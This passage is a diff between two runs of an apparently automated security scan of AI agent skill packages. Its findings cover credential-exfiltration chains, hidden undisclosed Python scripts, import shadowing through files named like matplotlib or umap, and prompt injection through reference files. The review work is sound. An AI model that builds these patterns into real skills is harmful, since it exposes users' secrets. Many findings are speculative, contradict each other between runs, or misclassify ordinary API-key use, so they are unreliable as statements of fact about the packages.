matplotlib.py)- > The SKILL.md instructions reference two files — seaborn.py and matplotlib.py — that were not found in the package. Referencing files with the same names as popular Python standard libraries (seaborn, matplotlib) is a potential tool shadowing / name collision attack. If these files were present, they could shadow the legitimate seaborn and matplotlib libraries when Python resolves imports, causing the agent to execute malicious code instead of the real libraries. The fact that 3 Python files exist in the package but are not disclosed, combined with references to seaborn.py and matplotlib.py, raises the possibility that the actual Python files in the package are named to shadow these libraries.- > File: `SKILL.md`- > **Remediation:** Verify that none of the 3 undisclosed Python files are named seaborn.py or matplotlib.py. If they are, this is a confirmed tool shadowing attack. Remove any local Python files that share names with standard library or popular third-party packages to prevent import hijacking.--- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Instruction to Load External Reference Files Without Validation- > The SKILL.md instructions direct the agent to load reference files (references/function_reference.md, references/objects_interface.md, references/examples.md) 'as needed.' While loading internal skill package files is generally acceptable, the instruction is open-ended ('Load reference files as needed') without specifying validation or sandboxing of content. If any of these reference files contain embedded instructions or malicious content, the agent would process them as trusted input. Given the other suspicious indicators in this package, the reference files warrant inspection.- > File: `SKILL.md`- > **Remediation:** Inspect all reference markdown files for embedded prompt injection instructions or malicious directives before allowing the agent to load them. Treat reference file content as untrusted input that should be read but not executed as instructions.--### tiledbvcf — 🔴 CRITICAL--- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Environment Variable Exfiltration via Cross-File Chain- > Static analysis detected a cross-file exfiltration chain spanning 3 files involving environment variable access combined with network calls. Although the Python script files (tiledbvcf.py, tiledb.py) were not provided for direct inspection, the pre-scan static analyzers flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across 3 files. This pattern is consistent with scripts that harvest environment variables (such as TILEDB_REST_TOKEN, AWS credentials, or other secrets) and transmit them to external endpoints. The skill's instructions explicitly reference setting TILEDB_REST_TOKEN as an environment variable, creating a high-value target for exfiltration.- > File: `SKILL.md`- > **Remediation:** Inspect all Python files in the skill package for os.environ access combined with requests/urllib/http calls. Remove any code that reads environment variables and transmits them over the network. Ensure scripts only use environment variables locally for authentication without forwarding them externally. Audit the full 3-file chain identified by static analysis.--- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Token Exposure Risk via Environment Variable Harvesting- > The SKILL.md explicitly instructs users to store a TileDB Cloud API token in the TILEDB_REST_TOKEN environment variable. The static analysis simultaneously flagged environment variable access combined with network calls (BEHAVIOR_ENV_VAR_EXFILTRATION). This creates a direct risk that the unreviewed scripts harvest this token and transmit it to an attacker-controlled endpoint, effectively stealing cloud platform credentials.+ > Static analysis flagged a cross-file exfiltration chain spanning 3 files (BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN, BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION, BEHAVIOR_ENV_VAR_EXFILTRATION). The skill package contains 3 Python files beyond what is visible in the instruction body, and the static analyzer detected environment variable access combined with network calls across multiple files. This pattern is consistent with credential harvesting (e.g., reading AWS_ACCESS_KEY_ID, HOME, PATH, or similar env vars) followed by exfiltration to an external server. The referenced files matplotlib.py and seaborn.py were not found during analysis, which is suspicious — these names shadow well-known standard library/package names and could be used to intercept imports or execute malicious code when the agent runs Python.> File: `SKILL.md`- > **Remediation:** Audit all scripts for os.environ.get('TILEDB_REST_TOKEN') or similar patterns followed by network calls. Ensure the token is only passed to legitimate TileDB SDK calls and never serialized into outbound HTTP requests to non-TileDB endpoints.+ > **Remediation:** Audit all Python files in the skill package immediately. Identify which files access os.environ, os.getenv, or similar and trace any network calls (requests, urllib, http.client, socket). Remove or sandbox any file that combines environment variable reads with outbound network connections. Do not install or use this skill until a full code review is completed.-- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Referenced Script Files Not Found — Unverifiable Tool Behavior- > The SKILL.md instructions reference two Python files (tiledbvcf.py and tiledb.py) that were not found in the package during analysis. Combined with the static analyzer's detection of cross-file exfiltration chains across 3 files, this indicates that executable scripts exist in the package but were not surfaced for review. The inability to inspect these files means their actual behavior cannot be verified against the manifest's stated purpose. This is particularly concerning given the static analysis findings indicating malicious data flow patterns.+- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Shadowing of Standard Library Names (matplotlib.py, seaborn.py)+ > The skill references files named matplotlib.py and seaborn.py. These names directly shadow the well-known third-party packages matplotlib and seaborn. When Python resolves imports, local files take precedence over installed packages. If these files exist in the working directory when the agent executes Python code, any `import matplotlib` or `import seaborn` statement — including those in the skill's own code examples — would load the malicious local file instead of the legitimate library. This is a classic import-hijacking / dependency confusion attack vector that can lead to arbitrary code execution.> File: `SKILL.md`- > **Remediation:** Obtain and audit all Python files in the skill package before deployment. Verify that tiledbvcf.py and tiledb.py (and any third unreferenced script) contain only legitimate TileDB-VCF wrapper code. Do not deploy this skill until all script files have been reviewed.+ > **Remediation:** Remove any files named matplotlib.py or seaborn.py from the skill package. Legitimate seaborn skills have no reason to include files that shadow standard package names. Verify the full file inventory and rename or delete any file whose name collides with a standard Python package.-- **🟡 MEDIUM** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration with Broad Capability Claims- > The skill manifest does not declare an allowed-tools field, yet the skill instructions describe extensive capabilities including cloud storage access (S3, Azure, GCS), network authentication, distributed compute, and file system operations. While missing allowed-tools is informational per spec, the combination of undeclared tool scope with static evidence of network exfiltration behavior warrants elevation to medium severity in this context.- > File: `SKILL.md`- > **Remediation:** Add an explicit allowed-tools declaration to the manifest. Given the legitimate use case, this should include Python and Bash at minimum. This makes the skill's intended tool usage transparent and auditable.+- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Undisclosed Python Files Not Surfaced in Manifest or Instructions+ > The file inventory reports 13 total files including 3 Python files, but the skill manifest declares no script files and the instruction body references only markdown documentation files (function_reference.md, objects_interface.md, examples.md). The 3 Python files are entirely undisclosed — they are not listed in allowed-tools context, not described in instructions, and not surfaced for review. Hidden executable files in a skill package represent a tool poisoning risk: the agent may execute them without user awareness, and their behavior is opaque.+ > File: `references/function_reference.md`+ > **Remediation:** Enumerate and disclose all Python files in the skill package. Each executable file must be described in SKILL.md with its purpose and expected behavior. Remove any Python file that is not necessary for the skill's stated visualization purpose. Cross-reference with the exfiltration findings above.### treatment-plans — 🔴 CRITICAL- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py-- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Mandatory External Skill Dependency Injection via SKILL.md Instructions- > The SKILL.md instructions contain a mandatory directive requiring the agent to invoke the 'scientific-schematics' skill for every treatment plan generated. The instruction states '⚠️ MANDATORY: Every treatment plan MUST include at least 1 AI-generated figure using the scientific-schematics skill.' This forces the agent to activate another skill and execute external code (generate_schematic.py) as part of every treatment plan workflow, expanding the attack surface beyond what a user requesting a treatment plan would expect.+- **🟡 MEDIUM** `LLM_UNAUTHORIZED_TOOL_USE` — Mandatory External Skill Dependency Without Disclosure in Manifest+ > The SKILL.md instructions mandate use of the 'scientific-schematics' skill with the statement '⚠️ MANDATORY: Every treatment plan MUST include at least 1 AI-generated figure using the scientific-schematics skill.' This creates an undisclosed dependency on another skill that itself makes external network calls. The allowed-tools manifest does not mention this cross-skill dependency, and users may not be aware that generating a treatment plan will trigger external API calls via the scientific-schematics skill.> File: `SKILL.md`- > **Remediation:** Remove the mandatory requirement to invoke external skills. Make schematic generation optional and user-initiated. Do not force execution of network-connected scripts as a prerequisite for every document generation task.+ > **Remediation:** 1. Remove the 'MANDATORY' requirement or make it optional. 2. Disclose in the YAML manifest that this skill depends on scientific-schematics and makes external API calls. 3. Allow users to opt out of schematic generation. 4. Add a warning that schematic generation transmits data to external services.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims and Mandatory Cross-Skill Activation- > The skill description claims support for 'all clinical specialties' and the instructions mandate activation of a separate 'scientific-schematics' skill for every invocation. The description uses broad trigger language ('all clinical specialties', 'all medical specialties') that could cause the skill to be activated for a wider range of queries than intended, and the mandatory schematic generation increases resource consumption and external API usage on every activation.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Description+ > The skill description claims support for 'all clinical specialties' and lists an extensive range of medical domains. The description also claims 'regulatory compliance (HIPAA)' while the skill simultaneously sends user content to external third-party AI APIs (OpenRouter/Google Gemini), which may violate HIPAA Business Associate Agreement requirements. This creates a misleading capability claim regarding compliance.> File: `SKILL.md`- > **Remediation:** Narrow the description to accurately reflect the skill's actual capabilities. Make cross-skill invocation optional and user-driven rather than mandatory.--- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via External Network Calls in Schematic Generation Scripts- > The scripts generate_schematic.py and generate_schematic_ai.py collect the OPENROUTER_API_KEY environment variable and transmit it to an external API endpoint (https://openrouter.ai/api/v1). While OpenRouter is a legitimate service, the skill harvests environment variables and sends them over the network. The cross-file chain (generate_schematic.py → generate_schematic_ai.py) passes the API key via environment variable and subprocess, and the key is embedded in HTTP Authorization headers sent to an external server. This constitutes environment variable harvesting combined with external network transmission.- > File: `scripts/generate_schematic.py`- > **Remediation:** 1. Clearly document in SKILL.md that this skill requires and transmits an API key to openrouter.ai. 2. Prompt the user for explicit consent before transmitting credentials. 3. Avoid copying the entire os.environ (env = os.environ.copy()) as this passes ALL environment variables to the subprocess, not just the API key. 4. Scope the subprocess environment to only the variables strictly needed.+ > **Remediation:** 1. Remove or qualify the HIPAA compliance claim given that content is sent to external APIs. 2. Clarify that the skill generates template documents and does not itself ensure HIPAA compliance. 3. Add a disclaimer that users are responsible for ensuring compliance when using external AI services.-- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — User-Controlled Input Passed to Subprocess Without Sanitization- > In generate_schematic.py, the user-supplied 'prompt' argument is passed directly as a command-line argument to a subprocess call (generate_schematic_ai.py). While subprocess.run with a list avoids shell injection, the prompt is then embedded verbatim into API request payloads and into dynamically constructed prompt strings in generate_schematic_ai.py. A malicious prompt could attempt to manipulate the AI model's behavior through the API or inject content into the review log JSON file.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Cross-File Exfiltration Chain: User Prompt Data Sent to External AI Service+ > The generate_schematic.py script invokes generate_schematic_ai.py as a subprocess, passing user-supplied prompt content to an external AI service (OpenRouter/Google Gemini). The user's clinical/medical prompt content describing treatment plans is transmitted to third-party servers. In a medical context, this is particularly sensitive as treatment plan descriptions may contain PHI (Protected Health Information). The skill claims HIPAA compliance but simultaneously sends user-provided medical content to external AI APIs without explicit disclosure.> File: `scripts/generate_schematic.py`- > **Remediation:** Validate and sanitize user-provided prompts before embedding them in API requests. Implement length limits and character filtering. Consider wrapping user input in a clearly delimited section to reduce prompt injection risk in the downstream AI API call.+ > **Remediation:** 1. Add explicit user consent before transmitting any content to external services. 2. Warn users that prompt content (which may describe medical scenarios) will be sent to third-party APIs. 3. Instruct users to avoid including PHI in schematic descriptions. 4. Document this external data transmission prominently in SKILL.md.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Full Environment Variable Exposure to Subprocess- > In generate_schematic.py, the code performs env = os.environ.copy() and passes the entire environment to a subprocess. This means ALL environment variables present in the agent's environment (which may include AWS credentials, SSH keys, database passwords, tokens, etc.) are passed to the child process generate_schematic_ai.py. This is an over-broad credential exposure pattern.- > File: `scripts/generate_schematic.py:88`- > **Remediation:** Instead of copying the full environment, construct a minimal environment containing only the variables required: env = {"OPENROUTER_API_KEY": api_key, "PATH": os.environ.get("PATH", "")}. This prevents inadvertent exposure of sensitive credentials to the subprocess.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — API Key Exfiltration via External Network Calls in Schematic Generation Scripts+ > The scripts generate_schematic.py and generate_schematic_ai.py read the OPENROUTER_API_KEY environment variable and transmit it to an external API endpoint (https://openrouter.ai/api/v1). While the stated purpose is AI image generation, the pattern of harvesting an environment variable and sending it over the network constitutes a credential exfiltration risk. The API key is passed via HTTP Authorization headers to an external third-party service. Additionally, the script loads .env files from the current working directory or script directory, potentially harvesting credentials stored locally.+ > File: `scripts/generate_schematic_ai.py`+ > **Remediation:** 1. Clearly document in SKILL.md that this skill requires an OpenRouter API key and makes external network calls. 2. Prompt the user explicitly before making any external API calls. 3. Never auto-load .env files without user consent. 4. Scope the API key access to only what is needed and avoid storing it in memory longer than necessary.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependency (requests library)- > The scripts generate_schematic_ai.py and timeline_generator.py use the 'requests' and 'matplotlib' libraries respectively without version pinning. The skill does not include a requirements.txt with pinned versions. Unpinned dependencies are vulnerable to supply chain attacks where a malicious version could be installed.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Unpinned External Package Dependency (requests library)+ > The generate_schematic_ai.py script imports the 'requests' library without version pinning. The script also suggests installing matplotlib via pip without version constraints. Unpinned dependencies can be exploited via supply chain attacks where a malicious version of a package is installed. In a medical documentation context, this could lead to credential theft or data exfiltration.> File: `scripts/generate_schematic_ai.py`- > **Remediation:** Include a requirements.txt file with pinned versions (e.g., requests==2.31.0, matplotlib==3.8.0). Document installation instructions and consider using a virtual environment.+ > **Remediation:** 1. Pin all dependencies to specific versions (e.g., requests==2.31.0). 2. Provide a requirements.txt with pinned versions and checksums. 3. Document all required packages in the skill manifest.++- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned matplotlib Dependency Suggested for Installation+ > The timeline_generator.py script suggests installing matplotlib without version pinning ('pip install matplotlib'). This is a supply chain risk as unpinned installations may pull in compromised versions.+ > File: `scripts/timeline_generator.py`+ > **Remediation:** Specify a pinned version: 'pip install matplotlib==3.8.0' or provide a requirements.txt with pinned versions.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/treatment-plans/scripts/generate_schematic.py@@ -1386,58 +1380,67 @@### umap-learn — 🔴 CRITICAL-- **🔴 CRITICAL** `LLM_COMMAND_INJECTION` — Cross-File Exfiltration Chain Indicates Coordinated Malicious Code- > The static analyzer detected a BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN spanning 2 files. This pattern is characteristic of deliberate obfuscation where malicious functionality is split across multiple files to evade single-file analysis. One file likely performs data collection (environment variables, credentials, filesystem data) and a second file handles transmission to an external endpoint. This multi-file coordination is a strong indicator of intentional malicious design rather than accidental insecure coding.- > **Remediation:** Treat this skill as potentially malicious. Do not execute any Python files from this package. Inspect all 6 Python files for import chains, function calls across modules, and any outbound network requests. Look for patterns like: file A reads os.environ and passes to file B which calls requests.post(). Report to skill repository maintainers if confirmed malicious.-- **🔴 CRITICAL** `LLM_DATA_EXFILTRATION` — Environment Variable Exfiltration with Network Calls Detected- > Static analysis pre-scan flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION across multiple files in this skill package. The skill claims to be a UMAP dimensionality reduction utility with no script files surfaced in the submission, yet the file inventory reports 6 Python files and 8 other files totaling 23 files. This strongly suggests hidden Python scripts are present that access environment variables (likely credentials, API keys, or tokens) and transmit them over the network. The cross-file exfiltration chain (2 files) indicates a coordinated read→send pattern where one file harvests sensitive data and another transmits it.- > **Remediation:** Audit all 6 Python files in the skill package. Identify which files access os.environ, os.getenv, or similar environment variable APIs. Identify which files make outbound network calls (requests, urllib, httpx, socket, etc.). Remove any code that combines environment variable access with network transmission. Do not install or use this skill until all Python files have been reviewed and cleared.+ > Static analysis flagged BEHAVIOR_ENV_VAR_EXFILTRATION and BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN across Python files in this skill package. The file inventory reports 6 Python files, but the skill manifest claims no script files. This discrepancy strongly suggests hidden Python scripts that read environment variables (likely containing API keys, credentials, or tokens) and transmit them to external servers. The cross-file chain pattern (2 files involved) is a classic read→send exfiltration pattern.+ > **Remediation:** Audit all 6 Python files in the skill package. Identify which files read environment variables and which make network calls. Remove or sandbox any code that transmits local data to external endpoints. The skill should not require network access for a local dimensionality reduction library wrapper.++- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Cross-File Exfiltration Chain Indicates Command/Code Injection Risk+ > The BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN finding indicates a multi-file pipeline where one script reads sensitive data and another transmits it. This pattern is consistent with a staged attack: a loader/collector script and a sender/exfiltration script working in tandem. Such architectures are also used to inject and execute arbitrary code while evading single-file detection.+ > **Remediation:** Identify the two files forming the exfiltration chain. Remove network transmission code entirely. If any script uses eval(), exec(), os.system(), or subprocess with variable inputs, replace with safe alternatives. Conduct full code review of all 6 Python files before deployment.++- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools Declaration+ > The skill does not declare an allowed-tools field in its YAML manifest. While this field is optional per the agent skills spec, its absence combined with the presence of undisclosed Python scripts means there are no declared restrictions on what tools the agent may use when executing this skill.+ > **Remediation:** Add an explicit allowed-tools declaration to the manifest. Given the skill's stated purpose (UMAP dimensionality reduction), allowed tools should be limited to Python execution only, with no Bash or network tools permitted.++- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — Manifest Concealment of Python Scripts — Tool Poisoning via Hidden Scripts+ > The skill manifest reports 'No script files found' yet the static file inventory confirms 6 Python files exist in the package. This deliberate omission conceals executable code from the agent and user, a hallmark of tool poisoning. The hidden scripts are not declared in allowed-tools, not described in the SKILL.md instructions, and not surfaced to the user, meaning the agent may execute them without awareness of their true behavior.+ > File: `SKILL.md`+ > **Remediation:** All Python scripts bundled with the skill must be explicitly declared in the SKILL.md manifest and described in the instructions. Remove any scripts whose purpose is not directly related to UMAP dimensionality reduction workflows. Declare allowed-tools to restrict execution scope.-- **🟠 HIGH** `LLM_SKILL_DISCOVERY_ABUSE` — Hidden Scripts Not Disclosed in Skill Manifest or Instructions- > The SKILL.md instructions and manifest declare no script files ('No script files found' per submission), yet the file inventory confirms 6 Python files and 8 other files (23 total) exist in the package. The skill presents itself as a documentation/guidance skill for UMAP usage, but contains a substantial hidden codebase. This mismatch between declared capabilities and actual package contents constitutes capability inflation and deceptive packaging — the skill's true behavior is concealed from users and the agent.+- **🟡 MEDIUM** `LLM_OBFUSCATION` — Hidden Scripts May Employ Detection Evasion via File Inventory Mismatch+ > The deliberate non-disclosure of 6 Python files in the skill manifest, combined with the cross-file exfiltration chain, suggests intentional obfuscation of malicious functionality. Splitting exfiltration logic across multiple files is a known evasion technique to avoid single-file static analysis detection. The skill's benign UMAP documentation provides cover for the hidden malicious scripts.> File: `SKILL.md`- > **Remediation:** Require full disclosure of all files in the skill package. The SKILL.md manifest should enumerate all included scripts and their purposes. Any skill with undisclosed executable files should be rejected or quarantined pending review.+ > **Remediation:** Require full transparency of all files in skill packages. Implement manifest validation that cross-checks declared scripts against actual file inventory. Flag any skill where file inventory exceeds declared scripts.-- **🟡 MEDIUM** `LLM_OBFUSCATION` — Malicious Functionality Split Across Files to Evade Detection- > The combination of hidden Python files (not surfaced in submission), cross-file exfiltration chaining, and a benign-looking SKILL.md facade is consistent with a detection evasion strategy. By splitting the malicious logic across multiple files and presenting only innocuous documentation to the skill manifest, the attacker attempts to pass surface-level review while the actual payload executes at runtime. The referenced files (matplotlib.py, sklearn.py, hdbscan.py, umap.py, tensorflow.py) shadow legitimate library names, potentially to disguise malicious wrapper modules as standard imports.+- **🟡 MEDIUM** `LLM_PROMPT_INJECTION` — Suspicious Referenced File Names Shadow Standard Python Packages+ > The SKILL.md instructions reference files named umap.py, sklearn.py, hdbscan.py, matplotlib.py, and tensorflow.py. The skill itself warns users not to keep files with these names as they 'can shadow installed packages and break or poison examples.' However, the skill's own referenced file list includes exactly these names. If these files exist in the skill package, they would shadow the legitimate installed packages, allowing the skill to intercept all calls to umap, sklearn, hdbscan, matplotlib, and tensorflow — a classic dependency shadowing/tool poisoning attack.> File: `SKILL.md`- > **Remediation:** Investigate whether any of the 6 undisclosed Python files are named to shadow standard library imports (e.g., umap.py, sklearn.py). A local umap.py would intercept 'import umap' calls before the real package, enabling tool poisoning. Rename or remove any files that shadow legitimate package names.+ > **Remediation:** Verify that none of these files exist in the skill package directory or any directory on the Python path. The skill's own warning about shadowing is suspicious when the skill itself references these exact filenames. Remove any such files from the package immediately.### venue-templates — 🔴 CRITICAL- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 2 files> Environment variable access with network calls in scripts/generate_schematic.py, scripts/generate_schematic_ai.py- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 2 files> Multi-file exfiltration chain detected: scripts/generate_schematic.py, scripts/generate_schematic_ai.py collect data → scripts/generate_schematic_ai.py → scripts/generate_schematic_ai.py transmit to network- > **Remediation:** Review data flow across files: scripts/generate_schematic_ai.py, scripts/generate_schematic.py+ > **Remediation:** Review data flow across files: scripts/generate_schematic.py, scripts/generate_schematic_ai.py-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Cross-Skill Activation Promotion: Unsolicited scientific-schematics Skill Recommendation- > The SKILL.md instructions contain a prominent section titled 'Visual Enhancement with Scientific Schematics' that instructs the agent to 'always consider adding scientific diagrams' and states 'For new documents: Scientific schematics should be generated by default.' This directive attempts to automatically activate the 'scientific-schematics' skill and trigger execution of generate_schematic.py whenever this venue-templates skill is used, even when the user has not requested diagram generation. This is a form of capability inflation / cross-skill activation abuse that could lead to unexpected API calls and resource consumption.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Skill Description Promotes Cross-Skill Activation and Upsells External AI Service+ > The SKILL.md instructions contain a prominent section titled 'Visual Enhancement with Scientific Schematics' that instructs the agent to 'always consider adding scientific diagrams' and states 'For new documents: Scientific schematics should be generated by default.' This creates an over-broad activation pattern that pushes users toward using the scientific-schematics skill and the generate_schematic.py pipeline (which requires an external paid API key) even when not requested. The phrase 'Nano Banana Pro will automatically generate, review, and refine the schematic' uses a branded product name not disclosed in the manifest.> File: `SKILL.md`- > **Remediation:** Remove the directive to 'always' and 'by default' activate another skill. Schematic generation should only occur when explicitly requested by the user. Rewrite as an optional suggestion rather than a default behavior instruction.+ > **Remediation:** Remove or make optional the default schematic generation directive. Do not instruct the agent to 'always' or 'by default' invoke additional skills or external services without explicit user request. Disclose the 'Nano Banana' branding and its association with the skill author in the manifest.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — OPENROUTER_API_KEY Environment Variable Harvesting via External Network Calls- > The generate_schematic_ai.py script reads the OPENROUTER_API_KEY environment variable and transmits it as a Bearer token in HTTP Authorization headers to the external OpenRouter API (https://openrouter.ai/api/v1). While this is nominally the intended use of an API key, the key is sourced from the user's environment and sent to a third-party external service. The script also attempts to load .env files from the current working directory and the script's parent directory, which could expose additional secrets stored in those files. The cross-file chain (generate_schematic.py → generate_schematic_ai.py) means the API key flows through two scripts before being transmitted.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** 1. Document clearly that the OPENROUTER_API_KEY is transmitted to openrouter.ai. 2. Avoid loading .env files from arbitrary directories; restrict to a well-defined configuration path. 3. Validate the API endpoint URL is the expected openrouter.ai domain before transmitting credentials. 4. Consider scoping the API key to minimum required permissions.+- **🔵 LOW** `LLM_COMMAND_INJECTION` — Subprocess Execution with Partially User-Controlled Arguments+ > In generate_schematic.py, the user-supplied prompt string (args.prompt) and output path (args.output) are passed directly as command-line arguments to a subprocess call invoking generate_schematic_ai.py. While subprocess.run with a list (not shell=True) mitigates shell injection, the output path is not validated and could point to sensitive locations (e.g., overwriting system files if the process has write permissions). The prompt is also passed unsanitized.+ > File: `scripts/generate_schematic.py`+ > **Remediation:** Validate and sanitize the output path to ensure it stays within an expected directory (e.g., figures/). Consider restricting allowed output paths. The use of a list rather than shell=True is correct and should be maintained.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Broad .env File Loading May Expose Additional Secrets- > The _load_env_file() function in generate_schematic_ai.py attempts to load .env files from Path.cwd() (the current working directory at runtime) and from the script's parent directory. The current working directory is user-controlled and could contain .env files with sensitive credentials beyond just OPENROUTER_API_KEY (e.g., AWS keys, database passwords, other API tokens). Loading these into the environment and then making network calls creates a risk of inadvertent secret exposure if the .env file contains more than the expected key.- > File: `scripts/generate_schematic_ai.py`- > **Remediation:** 1. Only load the specific key needed rather than loading the entire .env file into the environment. 2. If .env loading is necessary, restrict to the skill's own directory only (not cwd). 3. Document this behavior clearly so users understand what files are read.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cross-File Credential Exfiltration Chain: generate_schematic.py Delegates to generate_schematic_ai.py+ > The generate_schematic.py script reads the OPENROUTER_API_KEY from the environment (or --api-key flag) and passes it to generate_schematic_ai.py via subprocess with the environment variable set. This creates a two-file chain where credentials flow from environment → generate_schematic.py → subprocess env → generate_schematic_ai.py → external HTTP request. While the subprocess passes the key via environment (not command-line args, which is good), the chain increases the attack surface and makes auditing harder.+ > File: `scripts/generate_schematic.py`+ > **Remediation:** Consolidate the two scripts into one, or clearly document the credential flow. Ensure the subprocess invocation uses a fixed, validated path to generate_schematic_ai.py and does not allow path injection via user-controlled arguments.-- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Iterative AI Image Generation May Cause Unintended API Cost/Resource Consumption- > The generate_schematic_ai.py script performs up to 2 iterations of AI image generation, each involving calls to both an image generation model (google/gemini-3.1-flash-image-preview) and a review model (google/gemini-3.1-pro-preview). Combined with the SKILL.md instruction to generate schematics 'by default' for new documents, this could result in multiple expensive API calls being made without explicit user consent for each invocation. Each iteration involves at least 2 API calls, and the review log is written to disk automatically.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — API Key Harvested from Environment and Transmitted to External Service+ > The generate_schematic_ai.py script reads the OPENROUTER_API_KEY environment variable and transmits it to an external API endpoint (https://openrouter.ai/api/v1). While OpenRouter is a legitimate AI routing service, the pattern of reading credentials from the environment and sending them over the network constitutes a data exfiltration risk vector. The key is passed in Authorization headers to an external third-party service. If the endpoint or the model identifiers were changed to a malicious server, this would silently exfiltrate the API key. Additionally, the script loads .env files from the current working directory or script directory, which could expose secrets stored in those files.> File: `scripts/generate_schematic_ai.py`- > **Remediation:** 1. Remove the 'generate by default' instruction from SKILL.md. 2. Always require explicit user confirmation before making paid API calls. 3. Display estimated cost or number of API calls before proceeding. 4. Make the iteration count configurable with a default of 1.+ > **Remediation:** 1. Document clearly that OPENROUTER_API_KEY is sent to openrouter.ai so users are aware. 2. Validate the base_url is a trusted endpoint before sending credentials. 3. Avoid loading .env files automatically from arbitrary directories. 4. Consider scoping the API key to minimum required permissions.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned External Dependency: requests Library- > The generate_schematic_ai.py script imports the 'requests' library without any version pinning. The script checks for its presence and exits if not found, but there is no requirements.txt or pinned version specification visible in the skill package. An unpinned dependency could allow a compromised or malicious version of the requests library to be installed, potentially intercepting API keys or modifying network traffic.+- **🔵 LOW** `LLM_UNAUTHORIZED_TOOL_USE` — allowed-tools Declares Write/Edit/Bash but Scripts Make External Network Calls Not Disclosed in Manifest+ > The manifest declares allowed-tools: Read Write Edit Bash, which does not mention network access. However, the generate_schematic_ai.py script makes outbound HTTP POST requests to https://openrouter.ai/api/v1. While 'Bash' implicitly allows arbitrary execution, the manifest description and skill name ('venue-templates') do not disclose that the skill will make external API calls and transmit user data and API keys to a third-party service. This is a mismatch between declared behavior and actual behavior.> File: `scripts/generate_schematic_ai.py`- > **Remediation:** Add a requirements.txt file with pinned versions (e.g., requests==2.31.0) and instruct users to install from it. Consider using a virtual environment.+ > **Remediation:** Update the skill description and manifest to explicitly disclose that the schematic generation feature makes outbound network calls to openrouter.ai. Consider adding a note in the description about the external API dependency and data transmission.- **🟡 MEDIUM** `BEHAVIOR_ENV_VAR_HARVESTING` — Environment variable harvesting detected> Script iterates through environment variables in skills/venue-templates/scripts/generate_schematic.py@@ -1454,188 +1457,171 @@> File: `skills/venue-templates/scripts/generate_schematic_ai.py`> **Remediation:** Remove environment variable collection unless explicitly required and documented-### bgpt-paper-search — 🟠 HIGH+### what-if-oracle — 🔴 CRITICAL++- **🟡 MEDIUM** `LLM_OBFUSCATION` — Potential Detection Evasion via Script Omission from Submission+ > The submission presents 'No script files found' for the Script Files section, yet the static pre-scan detects 5 Python files in the package with exfiltration-related behaviors. This discrepancy suggests the Python scripts may have been intentionally omitted from the submission to avoid scrutiny, which is a detection evasion pattern. Combined with the cross-file exfiltration chain detection, this raises concern that the package may be designed to appear as a simple markdown-based skill while containing hidden executable payloads.+ > **Remediation:** Require full disclosure of all files in skill packages during submission. Implement automated scanning that surfaces all executable files regardless of submission claims. Flag any discrepancy between declared and detected script files as a high-priority 